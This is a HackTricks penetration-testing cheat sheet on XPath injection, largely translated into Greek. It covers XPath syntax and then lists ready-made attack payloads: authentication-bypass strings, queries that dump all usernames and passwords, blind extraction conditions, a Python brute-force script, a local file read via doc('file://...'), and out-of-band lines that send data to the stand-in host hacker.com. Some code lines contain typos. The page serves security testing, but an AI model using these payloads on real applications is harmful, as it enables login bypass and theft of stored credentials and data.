XPATH injection

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

Μια τεχνική επίθεσης γνωστή ως XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που σχηματίζουν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε έγγραφα XML.

Nodes Described

Οι εκφράσεις χρησιμοποιούνται για την επιλογή διαφόρων κόμβων σε ένα έγγραφο XML. Αυτές οι εκφράσεις και οι περιγραφές τους συνοψίζονται παρακάτω:

  • nodename: Όλοι οι κόμβοι με το όνομα "nodename" επιλέγονται.

  • /: Η επιλογή γίνεται από τον ριζικό κόμβο.

  • //: Οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο επιλέγονται, ανεξάρτητα από την τοποθεσία τους στο έγγραφο.

  • .: Ο τρέχων κόμβος επιλέγεται.

  • ..: Ο γονέας του τρέχοντος κόμβου επιλέγεται.

  • @: Οι ιδιότητες επιλέγονται.

XPath Examples

Παραδείγματα εκφράσεων διαδρομής και τα αποτελέσματά τους περιλαμβάνουν:

  • bookstore: Όλοι οι κόμβοι που ονομάζονται "bookstore" επιλέγονται.

  • /bookstore: Το ριζικό στοιχείο bookstore επιλέγεται. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).

  • bookstore/book: Όλα τα στοιχεία βιβλίου που είναι παιδιά του bookstore επιλέγονται.

  • //book: Όλα τα στοιχεία βιβλίου στο έγγραφο επιλέγονται, ανεξάρτητα από την τοποθεσία τους.

  • bookstore//book: Όλα τα στοιχεία βιβλίου που είναι απόγονοι του στοιχείου bookstore επιλέγονται, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.

  • //@lang: Όλες οι ιδιότητες που ονομάζονται lang επιλέγονται.

Utilization of Predicates

Οι προτάσεις χρησιμοποιούνται για την εξειδίκευση των επιλογών:

  • /bookstore/book[1]: Το πρώτο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες κατατάσσουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.

  • /bookstore/book[last()]: Το τελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.

  • /bookstore/book[last()-1]: Το προτελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.

  • /bookstore/book[position()<3]: Τα πρώτα δύο στοιχεία βιβλίου παιδιά του στοιχείου bookstore επιλέγονται.

  • //title[@lang]: Όλα τα στοιχεία τίτλου με μια ιδιότητα lang επιλέγονται.

  • //title[@lang='en']: Όλα τα στοιχεία τίτλου με μια τιμή ιδιότητας "lang" ίση με "en" επιλέγονται.

  • /bookstore/book[price>35.00]: Όλα τα στοιχεία βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.

  • /bookstore/book[price>35.00]/title: Όλα τα στοιχεία τίτλου των στοιχείων βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.

Handling of Unknown Nodes

Wildcard χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:

  • *: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.

  • @*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.

  • node(): Αντιστοιχεί σε οποιονδήποτε κόμβο οποιουδήποτε τύπου.

Περαιτέρω παραδείγματα περιλαμβάνουν:

  • /bookstore/*: Επιλέγει όλους τους κόμβους στοιχείων παιδιών του στοιχείου bookstore.

  • //*: Επιλέγει όλα τα στοιχεία στο έγγραφο.

  • //title[@*]: Επιλέγει όλα τα στοιχεία τίτλου με τουλάχιστον μία ιδιότητα οποιουδήποτε τύπου.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Πρόσβαση στις πληροφορίες

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Αναγνώριση & κλοπή του σχήματος

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentication Bypass

Παράδειγμα ερωτημάτων:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR παράκαμψη σε χρήστη και κωδικό (ίδια τιμή και στους δύο)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Κατάχρηση της ένεσης null

Username: ' or 1]%00

Διπλό OR στο Όνομα Χρήστη ή στον Κωδικό (είναι έγκυρο με μόνο 1 ευάλωτο πεδίο)

ΣΗΜΑΝΤΙΚΟ: Σημειώστε ότι η "και" είναι η πρώτη λειτουργία που εκτελείται.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Εξαγωγή συμβολοσειρών

Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να χειριστεί τις τιμές για να αναζητήσει:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Πάρτε το μήκος μιας τιμής και εξαγάγετέ την μέσω συγκρίσεων:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Παράδειγμα Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Διαβάστε το αρχείο

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Εκμετάλλευση

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Αυτόματο εργαλείο

Αναφορές

Συμμετάσχετε στον HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!

Ενημερώσεις Χάκινγκ Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking

Νέα Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετάσχετε μαζί μας στο Discord και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Υποστήριξη HackTricks

Last updated